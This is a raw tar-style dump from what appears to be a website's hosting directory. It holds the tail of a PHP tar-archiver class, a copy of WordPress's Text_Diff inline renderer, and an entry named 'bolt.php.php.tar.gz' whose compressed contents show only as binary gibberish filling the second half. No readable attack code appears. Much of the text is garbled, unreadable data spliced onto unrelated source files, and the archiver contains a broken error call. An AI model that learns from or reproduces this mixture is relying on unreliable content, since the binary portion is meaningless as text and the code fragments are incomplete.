				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
